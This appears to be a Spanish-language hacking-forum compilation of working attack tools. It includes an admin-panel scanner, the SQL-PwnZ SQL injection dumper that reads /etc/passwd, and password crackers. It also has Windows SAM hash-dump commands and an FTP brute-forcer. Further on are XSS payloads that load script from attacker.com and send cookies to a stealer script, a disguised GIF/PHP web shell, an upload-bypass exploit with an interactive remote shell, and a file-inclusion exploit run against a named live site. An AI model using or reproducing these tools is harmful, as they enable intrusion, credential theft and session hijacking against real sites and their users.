##
use Tk;
use HTTP::Request;
use LWP::UserAgent;
$mw = MainWindow->new( -background => "black", -cursor=>"crosshair");
$mw->geometry("1070x325+100+300");
$mw->title("|_^_| Admin Control Panel Finder v1.2 |_^_|");
$mw->resizable(0,0);
$statusbar = "|_^_| Admin Control Panel Finder v1.2 |_^_|";
$statusbottom = $mw->Label(-textvariable => \$statusbar, -relief => 'flat', -background => "black", -foreground => "red", -font => "Verdana 7", -width => 120)->place(-x => 240, -y => 307);
$mw->Label(-background => "black", -foreground => "black")->pack();
$stat = "Control Panel Found";
$sta = $mw->Label(-textvariable => \$stat, -relief => 'flat', -background => "black", -foreground => "red", -font => "Verdana 9")->place(-x => 380, -y => 10);
$stat1 = "Control Panel Not Found";
$st = $mw->Label(-textvariable => \$stat1, -relief => 'flat', -background => "black", -foreground => "red", -font => "Verdana 9")->place(-x => 786, -y => 10);
$test1 = $mw->Scrolled("Text", -scrollbars => 'oe', -font => "Verdana 8", -background => "black", -foreground => "red", -selectbackground => "red", -insertbackground => "red", -relief => "ridge", -width => 55, -height=> 20)->pack(-side => 'right', -anchor => 'e');
$test2 = $mw->Scrolled("Text", -scrollbars => 'oe', -font => "Verdana 8", -background => "black", -foreground => "red", -selectbackground => "red", -insertbackground => "red", -relief => "ridge", -width => 55, -height=> 20)->pack(-side => 'right', -anchor => 'e');
$mw->Label(-background => "black", -foreground => "black")->pack();
$mw->Label(-background => "black", -foreground => "black")->pack();
$mw->Label(-background => "black", -foreground => "black")->pack();
$mw->Label(-background => "black", -foreground => "red", -font => "Verdana 9", -text => " Enter Site ")->pack(-anchor => 'nw');
$mw->Entry(-background => "black", -foreground => "red", -selectbackground => "black", -insertbackground => "red", -width => 40, -relief => "ridge", -textvariable => \$site)->pack(-anchor => 'nw');
$mw->Label(-background => "black", -foreground => "red", -font => "Verdana 9", -text => " Enter Site Source Code ")->pack(-anchor => 'nw');
$mw->Entry(-background => "black", -foreground => "red", -selectbackground => "black", -insertbackground => "red", -width => 40, -relief => "ridge", -textvariable => \$code)->pack(-anchor => 'nw');
$mw->Label(-background => "black", -foreground => "black")->pack();
$mw->Label(-background => "black", -foreground => "black")->pack();
$mw->Button(-activebackground => "red", -activeforeground => "black", -background => "black", -foreground => "red", -font => "Verdana 7", -relief => "groove", -text => "Start", -width => 5, -command => \&scan)->place(-x => 40, -y => 190);
$mw->Button(-activebackground => "red", -activeforeground => "black", -background => "black", -foreground => "red", -font => "Verdana 7", -relief => "groove", -text => "Stop", -width => 5, -command => \&sto )->place(-x => 95, -y => 190);
$mw->Button(-activebackground => "red", -activeforeground => "black", -background => "black", -foreground => "red", -font => "Verdana 7", -relief => "groove", -text => "Clear", -width => 5, -command => \&cle)->place(-x => 150, -y => 190);
$mw->Button(-activebackground => "red", -activeforeground => "black", -background => "black", -foreground => "red", -font => "Verdana 7", -relief => "groove", -text => "Help/About", -width => 9, -command => \&heaab)->place(-x => 50, -y => 240);
$mw->Button(-activebackground => "red", -activeforeground => "black", -background => "black", -foreground => "red", -font => "Verdana 7", -relief => "groove", -text => "Exit", -width => 5, -command => sub { exit })->place(-x => 133, -y => 240);
MainLoop;
sub heaab {
$about = $mw->Toplevel(-background => "black", -cursor=>"crosshair");
$about->geometry("500x422+425+250");
$about->title("|_^_| Admin Control Panel Finder v1.2 |_^_|");
$about->resizable(0,0);
$about->Label(-background => "black", -foreground=>"red")->pack();
$about->Label(-background => "black", -foreground=>"red", -font=> "Cambria 10", -text => "|_^_| Admin Control Panel Finder v1.2 Help |_^_|\n")->pack();
$about->Label(-background => "black", -foreground=>"red", -font=> "Cambria 10", -text => " -Enter Site-\nEnter Target address,\n exemplarily www.site.com or www.site.com/path")->pack();
$about->Label(-background => "black", -foreground=>"red", -font=> "Cambria 10", -text => " -Enter Site Source Code-\nEnter target site source code.\n Site source code php is the write php or\n Site source code asp is the write asp")->pack();
$about->Label(-background => "black", -foreground=>"red", -font=> "Cambria 10", -text => "\nEx:\n Enter Site : www.target.com\n Enter Site Source Code : php")->pack();
$about->Label(-background => "black", -foreground=>"red")->pack();
$about->Label(-background => "black", -foreground=>"red", -font=> "Cambria 10", -text => "|_^_| Admin Control Panel Finder v1.2 About |_^_|\n")->pack();
$about->Label(-background => "black",-foreground => "red",-font => "wingdings 22", -text => "7")->pack();
$about->Label(-background => "black", -foreground=>"red", -font=> "Cambria 11", -text => "Coded By KuNdUz")->pack();
$about->Label(-background => "black", -foreground=>"red", -font=> "Cambria 11", -text => "Enjoy! :)")->pack();
$about->Label(-background => "black", -foreground => "red", -font => "Cambria 8", -text => "10/12/2008")->pack(-anchor => "se");
$about->Button(-activebackground => "red", -activeforeground => "black", -background => "black", -foreground => "red", -relief => "groove", -font=> "Verdana 7", -text => "Exit", -command => [$about => 'destroy'])->pack(-fill => "both");
}
sub cle {
$test1->delete("0.0", "end");
$test2->delete("0.0", "end");
}
sub sto {
$sisite = "",
$ways = "",
@path1 = ""
}
sub scan {
$test1->delete("0.0", "end");
$test2->delete("0.0", "end");
$sisite = $site;
if ( $sisite !~ /^http:/ ) {
$sisite = 'http://' . $sisite;
}
if ( $sisite !~ /\/$/ ) {
$sisite = $sisite . '/';
}
if($code eq "php"){
@path1=('admin/','administrator/','moderator/','webadmin/','adminarea/','bb-admin/','adminLogin/','admin_area/','panel-administracion/','instadmin/',
'memberadmin/','administratorlogin/','adm/','admin/account.php','admin/index.php','admin/login.php','admin/admin.php','admin/account.php',
'admin_area/admin.php','admin_area/login.php','siteadmin/login.php','siteadmin/index.php','siteadmin/login.html','admin/account.html','admin/index.html','admin/login.html','admin/admin.html',
'admin_area/index.php','bb-admin/index.php','bb-admin/login.php','bb-admin/admin.php','admin/home.php','admin_area/login.html','admin_area/index.html',
'admin/controlpanel.php','admin.php','admincp/index.asp','admincp/login.asp','admincp/index.html','admin/account.html','adminpanel.html','webadmin.html',
'webadmin/index.html','webadmin/admin.html','webadmin/login.html','admin/admin_login.html','admin_login.html','panel-administracion/login.html',
'admin/cp.php','cp.php','administrator/index.php','administrator/login.php','nsw/admin/login.php','webadmin/login.php','admin/admin_login.php','admin_login.php',
'administrator/account.php','administrator.php','admin_area/admin.html','pages/admin/admin-login.php','admin/admin-login.php','admin-login.php',
'bb-admin/index.html','bb-admin/login.html','bb-admin/admin.html','admin/home.html','login.php','modelsearch/login.php','moderator.php','moderator/login.php',
'moderator/admin.php','account.php','pages/admin/admin-login.html','admin/admin-login.html','admin-login.html','controlpanel.php','admincontrol.php',
'admin/adminLogin.html','adminLogin.html','admin/adminLogin.html','home.html','rcjakar/admin/login.php','adminarea/index.html','adminarea/admin.html',
'webadmin.php','webadmin/index.php','webadmin/admin.php','admin/controlpanel.html','admin.html','admin/cp.html','cp.html','adminpanel.php','moderator.html',
'administrator/index.html','administrator/login.html','user.html','administrator/account.html','administrator.html','login.html','modelsearch/login.html',
'moderator/login.html','adminarea/login.html','panel-administracion/index.html','panel-administracion/admin.html','modelsearch/index.html','modelsearch/admin.html',
'admincontrol/login.html','adm/index.html','adm.html','moderator/admin.html','user.php','account.html','controlpanel.html','admincontrol.html',
'panel-administracion/login.php','wp-login.php','adminLogin.php','admin/adminLogin.php','home.php','admin.php','adminarea/index.php',
'adminarea/admin.php','adminarea/login.php','panel-administracion/index.php','panel-administracion/admin.php','modelsearch/index.php',
'modelsearch/admin.php','admincontrol/login.php','adm/admloginuser.php','admloginuser.php','admin2.php','admin2/login.php','admin2/index.php',
'adm/index.php','adm.php','affiliate.php','adm_auth.php','memberadmin.php','administratorlogin.php'
);
foreach $ways(@path1){
$statusbar = "Scaning path: " . $ways;
$statusbottom->update();
$statusbar = "|_^_| Admin Control Panel Finder v1.2 |_^_|";
$final=$sisite.$ways;
$req=HTTP::Request->new(GET=>$final);
$ua=LWP::UserAgent->new();
$ua->timeout(30);
$response=$ua->request($req);
if($response->content =~ /Username/ ||
$response->content =~ /Password/ ||
$response->content =~ /username/ ||
$response->content =~ /password/ ||
$response->content =~ /USERNAME/ ||
$response->content =~ /PASSWORD/ ||
$response->content =~ /Senha/ ||
$response->content =~ /senha/ ||
$response->content =~ /Personal/ ||
$response->content =~ /Usuario/ ||
$response->content =~ /Clave/ ||
$response->content =~ /Usager/ ||
$response->content =~ /usager/ ||
$response->content =~ /Sing/ ||
$response->content =~ /passe/ ||
$response->content =~ /P\/W/ ||
$response->content =~ /Admin Password/
){
$test2->insert('end', $final."\n");
}else{
$test1->insert('end', $final."\n");
}
}
}
if($code eq "asp"){
@path1=('admin/','administrator/','moderator/','webadmin/','adminarea/','bb-admin/','adminLogin/','admin_area/','panel-administracion/','instadmin/',
'memberadmin/','administratorlogin/','adm/','account.asp','admin/account.asp','admin/index.asp','admin/login.asp','admin/admin.asp',
'admin_area/admin.asp','admin_area/login.asp','admin/account.html','admin/index.html','admin/login.html','admin/admin.html',
'admin_area/admin.html','admin_area/login.html','admin_area/index.html','admin_area/index.asp','bb-admin/index.asp','bb-admin/login.asp','bb-admin/admin.asp',
'bb-admin/index.html','bb-admin/login.html','bb-admin/admin.html','admin/home.html','admin/controlpanel.html','admin.html','admin/cp.html','cp.html',
'administrator/index.html','administrator/login.html','administrator/account.html','administrator.html','login.html','modelsearch/login.html','moderator.html',
'moderator/login.html','moderator/admin.html','account.html','controlpanel.html','admincontrol.html','admin_login.html','panel-administracion/login.html',
'admin/home.asp','admin/controlpanel.asp','admin.asp','pages/admin/admin-login.asp','admin/admin-login.asp','admin-login.asp','admin/cp.asp','cp.asp',
'administrator/account.asp','administrator.asp','login.asp','modelsearch/login.asp','moderator.asp','moderator/login.asp','administrator/login.asp',
'moderator/admin.asp','controlpanel.asp','admin/account.html','adminpanel.html','webadmin.html','pages/admin/admin-login.html','admin/admin-login.html',
'webadmin/index.html','webadmin/admin.html','webadmin/login.html','user.asp','user.html','admincp/index.asp','admincp/login.asp','admincp/index.html',
'admin/adminLogin.html','adminLogin.html','admin/adminLogin.html','home.html','adminarea/index.html','adminarea/admin.html','adminarea/login.html',
'panel-administracion/index.html','panel-administracion/admin.html','modelsearch/index.html','modelsearch/admin.html','admin/admin_login.html',
'admincontrol/login.html','adm/index.html','adm.html','admincontrol.asp','admin/account.asp','adminpanel.asp','webadmin.asp','webadmin/index.asp',
'webadmin/admin.asp','webadmin/login.asp','admin/admin_login.asp','admin_login.asp','panel-administracion/login.asp','adminLogin.asp',
'admin/adminLogin.asp','home.asp','admin.asp','adminarea/index.asp','adminarea/admin.asp','adminarea/login.asp','admin-login.html',
'panel-administracion/index.asp','panel-administracion/admin.asp','modelsearch/index.asp','modelsearch/admin.asp','administrator/index.asp',
'admincontrol/login.asp','adm/admloginuser.asp','admloginuser.asp','admin2.asp','admin2/login.asp','admin2/index.asp','adm/index.asp',
'adm.asp','affiliate.asp','adm_auth.asp','memberadmin.asp','administratorlogin.asp','siteadmin/login.asp','siteadmin/index.asp','siteadmin/login.html'
);
foreach $ways(@path1){
$statusbar = "Scaning path: " . $ways;
$statusbottom->update();
$statusbar = "|_^_| Admin Control Panel Finder v1.2 |_^_|";
$final=$sisite.$ways;
$req=HTTP::Request->new(GET=>$final);
$ua=LWP::UserAgent->new();
$ua->timeout(30);
$response=$ua->request($req);
if($response->content =~ /Username/ ||
$response->content =~ /Password/ ||
$response->content =~ /username/ ||
$response->content =~ /password/ ||
$response->content =~ /USERNAME/ ||
$response->content =~ /PASSWORD/ ||
$response->content =~ /Senha/ ||
$response->content =~ /senha/ ||
$response->content =~ /Personal/ ||
$response->content =~ /Usuario/ ||
$response->content =~ /Clave/ ||
$response->content =~ /Usager/ ||
$response->content =~ /usager/ ||
$response->content =~ /Sing/ ||
$response->content =~ /passe/ ||
$response->content =~ /P\/W/ ||
$response->content =~ /Admin Password/
){
$test2->insert('end', $final."\n");
}else{
$test1->insert('end', $final."\n");
}
}
}
}
##
# Coded By KuNdUz
##
#!/usr/bin/perl
###########################################################################################
# -[+]- SQL-PwnZ v1.1 | By Login-Root -[+]- ###
###########################################################################################
###########################################################################################
# [+] inf0: ###
###########################################################################################
# Busca: ###
# ====== ###
# - Nº de columnas ###
# - Information_Schema && MySQL.User ###
# - LOAD_FILE ###
# - Tablas ###
# - Columnas ###
# ###
# ...y guarda todo en un archivo de texto. ###
# ###
###########################################################################################
###########################################################################################
# [+] Use: ###
###########################################################################################
# perl sqlpwnz.pl [WEBSITE] [COLUMNS] [FILE] [COMENTARIO] [-T] [-C] [-NOCHECK] ###
# [WEBSITE]: [url]http://www.web.com/index.php?id=[/url] ###
# [COLUMNS]: Limite de columnas ###
# [FILE]: Archivo donde guardar web vulnerable ###
# [COMENTARIO]: '/*' o '--' (Sin las comillas) (Opcional) ###
# [-T]: Intentar brutear tablas (Opcional) ###
# [-C]: Intentar brutear columnas (Opcional) ###
# [-NOCHECK]: No hacer el chequeo inicial (Opcional) ###
###########################################################################################
###########################################################################################
# [+] c0ntact: ###
###########################################################################################
# MSN: [email][email protected][/email] ###
# Jabber: [email][email protected][/email] ###
# E-Mail: [email][email protected][/email] ###
###########################################################################################
###########################################################################################
# [+] sh0utz: ###
###########################################################################################
# In memory of ka0x | Greetz: KSHA ; Psiconet ; Knet ; VenoM ; InyeXion ; N3xtdoor ###
# Many thanks to boER, who teach me a little of perl ;D ###
# VISIT: [url]WWW.MITM.CL[/url] | [url]WWW.REMOTEEXECUTION.ORG[/url] | [url]WWW.DIOSDELARED.COM[/url] ###
###########################################################################################
use LWP::Simple;
if(!$ARGV[2])
{
print "\n\n-[+]- SQL-PwnZ v1.1 | By Login-Root -[+]-\n=========================================";
print "\n\nUso: perl $0 [WEBSITE] [COLUMNS] [FILE] [COMENTARIO] [-T] [-C] [-NOCHECK]\n";
print "\n[WEBSITE]: [url]http://www.web.com/index.php?id=\n[/url][COLUMNS]: Limite de columnas\n[FILE]: Archivo donde guardar web vulnerable\n[COMENTARIO]: '/*' o '--' (Sin las comillas) (Opcional)\n[-T]: Intentar brutear tablas (Opcional)\n[-C]: Intentar brutear columnas (Opcional)\n[-NOCHECK]: No hacer el chequeo inicial (Opcional)\n\n";
exit (0);
}
@nombretabla=('admin','tblUsers','tblAdmin','user','users','username','usernames','usuario',
'name','names','nombre','nombres','usuarios','member','members','admin_table',
'miembro','miembros','membername','admins','administrator',
'administrators','passwd','password','passwords','pass','Pass',
'tAdmin','tadmin','user_password','user_passwords','user_name','user_names',
'member_password','mods','mod','moderators','moderator','user_email',
'user_emails','user_mail','user_mails','mail','emails','email','address',
'e-mail','emailaddress','correo','correos','phpbb_users','log','logins',
'login','registers','register','usr','usrs','ps','pw','un','u_name','u_pass',
'tpassword','tPassword','u_password','nick','nicks','manager','managers','administrador',
'tUser','tUsers','administradores','clave','login_id','pwd','pas','sistema_id',
'sistema_usuario','sistema_password','contrasena','auth','key','senha',
'tb_admin','tb_administrator','tb_login','tb_logon','tb_members_tb_member',
'tb_users','tb_user','tb_sys','sys','fazerlogon','logon','fazer','authorization',
'membros','utilizadores','staff','nuke_authors','accounts','account','accnts',
'associated','accnt','customers','customer','membres','administrateur','utilisateur',
'tuser','tusers','utilisateurs','password','amministratore','god','God','authors',
'asociado','asociados','autores','membername','autor','autores','Users','Admin','Members',
'Miembros','Usuario','Usuarios','ADMIN','USERS','USER','MEMBER','MEMBERS','USUARIO','USUARIOS','MIEMBROS','MIEMBRO');
@nombrecolumna=('admin_name','cla_adm','usu_adm','fazer','logon','fazerlogon','authorization','membros','utilizadores','sysadmin','email',
'user_name','username','name','user','user_name','user_username','uname','user_uname','usern','user_usern','un','user_un','mail',
'usrnm','user_usrnm','usr','usernm','user_usernm','nm','user_nm','login','u_name','nombre','login_id','usr','sistema_id','author',
'sistema_usuario','auth','key','membername','nme','unme','psw','password','user_password','autores','pass_hash','hash','pass','correo',
'userpass','user_pass','upw','pword','user_pword','passwd','user_passwd','passw','user_passw','pwrd','user_pwrd','pwd','authors',
'user_pwd','u_pass','clave','usuario','contrasena','pas','sistema_password','autor','upassword','web_password','web_username','loginname','userright');
if ( $ARGV[0] !~ /^http:/ )
{
$ARGV[0] = "http://" . $ARGV[0];
}
if ($ARGV[3] =~ "--" || $ARGV[4] =~ "--" || $ARGV[5] =~ "--" || $ARGV[6] =~ "--")
{
$cmn.= "+";
$cfin.="--";
print "\n[+] Comentarios a utilizar: '--' & '+'";
}
else
{
$cmn.= "/**/";
$cfin.= "/*";
print "\n[+] Comentarios a utilizar: '/*' & '/**/'";
}
open(WEB,">>".$ARGV[2]) || die "\n\n[-] Imposible crear el archivo de texto\n";
if ($ARGV[3] =~ "-NOCHECK" || $ARGV[4] =~ "-NOCHECK" || $ARGV[5] =~ "-NOCHECK" || $ARGV[6] =~ "-NOCHECK")
{
print "\n[!] Se omite el chequeo inicial...\n";
print WEB "[WEBSITE]:\n\n$ARGV[0]\n";
}
else
{
print "\n[!] Chequeando si la web es vulnerable...\n";
$sql=$ARGV[0]."-1".$cmn."union".$cmn."select".$cfin;
$response=get($sql)or die("[-] Direccion web ingresada erroneamente, favor de reingresar de nuevo\n");
if($response=~ /mysql_fetch_/ || $response=~ /You have an error in your SQL syntax/ || $response =~ /tem um erro de sintaxe no seu SQL/ || $response =~ /mysql_num_rows/ || $response =~ /Division by zero in/)
{
print "[+] Web vulnerable, continua el script...\n";
print WEB "[WEBSITE]:\n\n$ARGV[0]\n";
}
else
{
print "[-] Website aparentemente no vulnerable a SQL Inyection, intentar con otro comentario\n\n";
exit(1);
}
}
print "\n[!] Buscando columnas...\n";
for ($column = 0 ; $column < $ARGV[1] ; $column ++)
{
$union.=','.$column;
$inyection.=','."0x6c6f67696e70776e7a";
if ($column == 0)
{
print WEB "\n[COLUMNAS]:\n\n";
$inyection = '';
$union = '';
}
$sql=$ARGV[0]."-1".$cmn."union".$cmn."select".$cmn."0x6c6f67696e70776e7a".$inyection.$cfin;
$response=get($sql)or die("[-] Error al intentar encontrar el numero de columnas, chequear website\n");
if($response =~ /loginpwnz/)
{
$column ++;
print "[+] La web posee $column columnas\n\n";
$sql=$ARGV[0]."-1".$cmn."union".$cmn."select".$cmn."0".$union.$cfin;
print "$sql\n";
print WEB "$sql\n";
print "\n[!] Chequeando si existe Information_Schema...";
$sql=$ARGV[0]."-1".$cmn."union".$cmn."select".$cmn."0x6c6f67696e70776e7a".$inyection.$cmn."from".$cmn."information_schema.tables".$cfin;
$response=get($sql)or die("[-] Imposible obtener Information_Schema\n");
if($response =~ /loginpwnz/)
{
print "\n[+] Information_Schema disponible...guardando en $ARGV[2]";
$sql=$ARGV[0]."-1".$cmn."union".$cmn."select".$cmn."0".$union.$cmn."from".$cmn."information_schema.tables".$cfin;
print WEB "\n\n[INFORMATION_SCHEMA]:\n\n$sql\n";
}
else
{
print "\n[-] Information_Schema no disponible";
}
print "\n[!] Chequeando si existe MySQL.User...";
$sql=$ARGV[0]."-1".$cmn."union".$cmn."select".$cmn."0x6c6f67696e70776e7a".$inyection.$cmn."from".$cmn."mysql.user".$cfin;
$response=get($sql)or die("[-] Imposible obtener MySQL.User\n");
if($response =~ /loginpwnz/)
{
print "\n[+] MySQL.User disponible...guardando en $ARGV[2]";
$sql=$ARGV[0]."-1".$cmn."union".$cmn."select".$cmn."0".$union.$cmn."from".$cmn."mysql.user".$cfin;
print WEB "\n\n[MYSQL.USER]:\n\n$sql\n";
}
else
{
print "\n[-] MySQL.User no disponible";
}
while ($loadcont < $column-1)
{
$loadfile.=','.'load_file(0x2f6574632f706173737764)';
$loadcont++;
}
print "\n[!] Chequeando si es posible inyectar LOAD_FILE...";
$sql=$ARGV[0]."-1".$cmn."union".$cmn."select".$cmn."load_file(0x2f6574632f706173737764)".$loadfile.$cfin;
$response=get($sql)or die("[-] Imposible inyectar LOAD_FILE\n");
if($response =~ /root:x:0:0/)
{
print "\n[+] LOAD_FILE disponible...guardando en $ARGV[2]";
print WEB "\n\n[LOAD_FILE]:\n\nload_file(0x2f6574632f706173737764) => OK! (0x2f6574632f706173737764 => /etc/passwd)\n";
}
else
{
print "\n[-] LOAD_FILE no disponible";
}
if ($ARGV[3] =~ "-T" || $ARGV[4] =~ "-T" || $ARGV[5] =~ "-T" || $ARGV[6] =~ "-T")
{
print "\n\n[!] Bruteando tablas...";
print WEB "\n\n[TABLAS]:\n\n";
foreach $tabla(@nombretabla)
{
chomp($tabla);
$sql=$ARGV[0]."-1".$cmn."union".$cmn."select".$cmn."0x6c6f67696e70776e7a".$inyection.$cmn."from".$cmn.$tabla.$cfin;
$response=get($sql)or die("[-] Imposible obtener tablas\n");
if($response =~ /loginpwnz/)
{
print "\n[+] La tabla $tabla esta disponible...guardando en $ARGV[2]";
$sql=$ARGV[0]."-1".$cmn."union".$cmn."select".$cmn."0".$union.$cmn."from".$cmn.$tabla.$cfin;
print WEB "$sql\n";
}
}
}
if ($ARGV[3] =~ "-C" || $ARGV[4] =~ "-C" || $ARGV[5] =~ "-C" || $ARGV[6] =~ "-C")
{
print "\n\n[!] Tabla a la cual brutear columnas: ";
$tabla.=<STDIN>;
chomp($tabla);
print WEB "\n\n[COLUMNAS EN TABLA]: $tabla\n\n";
foreach $columna(@nombrecolumna)
{
chomp($columna);
$sql=$ARGV[0]."-1".$cmn."union".$cmn."select".$cmn."concat(0x6c6f67696e70776e7a,0x3a,$columna)".$inyection.$cmn."from".$cmn.$tabla.$cfin;
$response=get($sql)or die("[-] Imposible obtener columnas\n");
if ($response =~ /loginpwnz/)
{
print "\n[+] La columna $columna esta disponible...guardando en $ARGV[2]";
print WEB "$columna\n";
}
}
}
print WEB "\n\n\n[*EOF*]";
print "\n\n[+] Todo salvado correctamente en $ARGV[2]\n\n";
print "## c0ded by Login-Root | 2008 ##\n\n";
exit (0);
}
}
print "[-] Imposible encontrar numero de columnas, intentar con mas columnas\n\n";
print "## c0ded by Login-Root | 2008 ##\n\n";
exit (0);
Citarperl No tienes permitido ver enlaces. Registrate o Entra a tu cuenta No tienes permitido ver enlaces. Registrate o Entra a tu cuenta numero de columnas archivo_guardar.txt -- -T -C
Citar-- = Comentarios
T= tablas
C=Columnas
<html>
<head><title>Crackeador HTPASSWD 0.1 by Xianur0</title></head>
<body>
<center><h1>Crackeador HTPASSWD 0.1 by Xianur0<h1></center>
<script type="text/Javascript">function mostrar (postid) { whichpost = document.getElementById(postid);whichpost.className="postshown"; }
function ocultar (postid) { whichpost = document.getElementById(postid);whichpost.className="posthidden"; }
</script><style>.posthidden {display:none} .postshown {display:inline}</style>
<form>
<b>Hash: <input type="text" name="hash"><br>
<span class="posthidden" id="1">Largo Passwords: <input type="text" name="largo"><br></span>
<INPUT ONCLICK="javascript:ocultar(1);" TYPE="RADIO" NAME="tipo" VALUE="1">Ataque de diccionario<BR>
<INPUT ONCLICK="javascript:mostrar(1)" TYPE="RADIO" NAME="tipo" VALUE="2">BruteForce Numerico<BR>
<INPUT ONCLICK="javascript:mostrar(1)" TYPE="RADIO" NAME="tipo" VALUE="3">BruteForce Solo Letras<BR>
<INPUT ONCLICK="javascript:mostrar(1)" TYPE="RADIO" NAME="tipo" VALUE="4">Probar Toda la Tabla Ascii :D<BR>
<INPUT ONCLICK="javascript:mostrar(2); javascript:mostrar(1)" TYPE="RADIO" NAME="tipo" VALUE="5">Rango Definido por Usuario<BR>
<span class="posthidden" id="2">Rango de Caracteres: <input type="text" name="rango" value='A-z'><br></span>
<input type="submit" value="Crack!">
</form>
<?php
if(isset($_GET['hash'])) {
set_time_limit(0);
define("hash", $_GET['hash']);
define("salt", $_GET['hash']{0}.$_GET['hash']{1});
define("largo", $_GET['largo']);
function comprobar($password) {
if(crypt($password, salt) == hash) {die("<br>Password Encontrada: $password");}
}
function diccionario() {
$archivo = file("db.txt");
foreach($archivo as $n=>$pass) {
$pass = chop($pass);
print comprobar($pass, salt);
}
}
function generar($inicio, $fin) {
$inicio = ord($inicio);
$fin = ord($fin);
while($run != "kill") {
for($i=0; $i<largo; $i++) {
$pass .= chr(rand($inicio, $fin));
}
comprobar($pass);
$pass = '';
}
}
switch ($_GET['tipo']) {
case 1:
diccionario();
break;
case 2:
generar(0, 9);
break;
case 3:
generar("A", "z");
break;
case 4:
generar(" ", "~");
break;
case 5:
list($inicial, $final) = explode("-", $_GET['rango']);
generar($inicial, $final);
break;
}
}
?>
</body>
</html>
ls /mnt/hda1
bt ~ # ls /mnt/hda1
AUTOEXEC.BAT* IO.SYS* boot.ini*
AppServ/ MSDOS.SYS* datos.sql*
Archivos\ de\ programa/ NTDETECT.COM* eclipse/
Bootfont.bin* RECYCLER/ ntldr*
CONFIG.SYS* Sun/ pagefile.sys*
Config.Msi/ System\ Volume\ Information/ xampp/
Documents\ and\ Settings/ WINDOWS/
mkdir /crack
cd /crack
bkhive /mnt/hda1/WINDOWS/system32/config/system bootkey.txt
Bootkey: 5da3c4796d09d5ca929d8498c6af87c9
samdump2 /mnt/hda1/WINDOWS/system32/config/SAM bootkey.txt >hash.txt
john hash.txt -f:NT -w:words.txt
<?php
$host = "www.web-victima.com";
$port = "21";
$user = "IamaAdminsoiknoweverything";
$password = array("sa", "admin", "root", "test", "123", "abc", "change", "support", "web", "root" , "%ADDMOREPASSESHERE%" );
foreach($password as $mypass)
if((isset($host)) AND (isset($port)) AND (isset($user))) {
$connect = ftp_connect($host, $port);
if(!$connect)
{
echo('<br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><img src="images/serveroff1.gif">');
exit();
}
$result = @ftp_login($connect, $user, $mypass);
if ($result)
{
Echo " Password:$mypass<br>";
}
else
{
Echo "Password: <b>Passwort nicht gefunden.</b><br>";
}
ftp_quit($connect);
}
?>
[center][size=14pt][url=javascript:alert('xss')]Saltando Filtro
:D...[/url][/size]
[url=javascript:document.write(unescape(%3Cscript+src%3D%22http%3A%2F%2Fwww.attacker.com%2Fexploit.js%22%3E%3C%2Fscript%3E))][img]http://img508.imageshack.us/img508/6982/flmnetworkuserbar494abfyb2.png[/img][/center]
[center][size=14pt][url=][/url][/size]
[url=javascript:
document.write(unescape('%3Ciframe+width%3D%220%25%22+height%3D%220%25%22+src%3D%22http%3A%2F%2Fwww.attacker.com%2Fcookiestealer.php%3Fcookie%3D%27+%2Bdocument.cookie+%2B%27+frameborder%3D%220%25%22%3E'));][img]http://www.google.com.mx/intl/es_mx/images/logo.gif[/img][/center]
<?php
$cookie = $_GET['cookie'];
$handler = fopen('cookies.txt', 'a');
fwrite($handler, $cookie."\n");
?>
GIF89a
<?php system($_GET['h']); ?>
#!/usr/bin/perl
use LWP;
use HTTP::Request::Common;
unless ($ARGV[1]) { &usage; }
$url = $ARGV[0];
$upath = $ARGV[1];
$all = $upath.'fos.php?h=';
print q(
+---------------------------------------------------+
| Example of Bypass Upload & RCE |
| Codex: The X-C3LL |
| Blog: http://0verl0ad.blogspot.com |
| Gr3tz: F.O.S. Team && Seth |
+---------------------------------------------------+
);
$nav = LWP::UserAgent->new;
print "[+]Connecting with target...\n[+]Uploading shell...\n";
$res = $nav->request (POST $url,
Content_Type => 'form-data',
Content => [
userfile => ["fos.gif", "fos.php", "Content-Type" => "image/gif"],
],
) || die '[-]Error:', $res->status_line;
print "[+]Uploaded!\n[+]Connecting to shell...\n";
$head = $all.'id';
$get = $nav->get( $head ) || die '[-]Error:', $get->status_line;
print "============CONNECT TO SHELL============\n".$get->content;
do {
print "\n\n[--Exploit Shell---] ";
$command = <STDIN>;
$exe = $all.$command;
$eje = $nav->get ( $exe ) || die '[-]Error:', $get->status_line;
print $eje->content;
} until ($command == "salir");
exit;
sub usage {
print 'Usage: perl exploit.pl "URL DEL UPLOAD" "URL DONDE SE SUBEN"';
exit;
}
$res = $nav->request (POST $url,
Content_Type => 'form-data',
Content => [
userfile => ["fos.gif", "fos.php", "Content-Type" => "image/gif"],
],
) || die '[-]Error:', $res->status_line;
do {
print "\n\n[--Exploit Shell---] ";
$command = <STDIN>;
$exe = $all.$command;
$eje = $nav->get ( $exe ) || die '[-]Error:', $get->status_line;
print $eje->content;
} until ($command == "salir");
exit;
unless ($ARGV[1]) { &usage; }
sub usage {
print 'Usage: perl exploit.pl "URL DEL UPLOAD" "URL DONDE SE SUBEN"';
exit;
}
CitarBueno para empezar ami mucho me interesó a interpretar y codear un Exploit , pués me encontré con varios post[/i]
y entre ellos me ví con esto que me interesó mucho y me ayudó. a parte de eso para tener un poco mas de entendimiento tienen que saber lenguajes básicos como Html, PHP y perl , el tema es escrito por The X-C3LL .
(exploit.pl)
#!/usr/bin/perl
use LWP;
use HTTP::Request::Common;
my $host = $ARGV[0];
my $path = $ARGV[1];
my $file = $ARGV[2];
my $url = 'http://'.$host.$path.'index.php?tpl='.$file;
my $nav = LWP::UserAgent->new;
my $res = $nav->get( $url ) || die 'ERROR:', $res->status_line;
print $res->content;
exit;
use LWP;
use HTTP::Request::Common;
my $host = $ARGV[0];
my $path = $ARGV[1];
my $file = $ARGV[2];
my $url = 'http://'.$host.$path.'index.php?tpl='.$file;
my $nav = LWP::UserAgent->new;
my $res = $nav->get( $url ) || die 'ERROR:', $res->status_line;
print $res->content;
exit;
[root@The-XC3LL Escritorio]# perl exploit.pl www.cubadebate .cu / index.php
<?php
//+-----------------------------------------------------+
//| Chasqui(r) |
//| http://www.chasqui.cu/ |
//| [email protected] |
//+-----------------------------------------------------+
//| Chasqui(r) Contents Management Division |
//| http://www.chasqui.cu/gestcont/ |
//| [email protected] |
//+-----------------------------------------------------+
//| (c) Copyright 1999-2003 Chasqui(r) |
//+-----------------------------------------------------+
//
// $Id$
//
@unlink("logs/error.log");
//include "clear_cache.ph p";
require_once "tms/template.lib.php";
require_once "tools/files.lib.php";
require_once "app/application.lib.php";
// Estas constantes son necesarias para inicializar la aplicaci
define('CONFIGURATION_ FILE', './Configuration/application.xml');
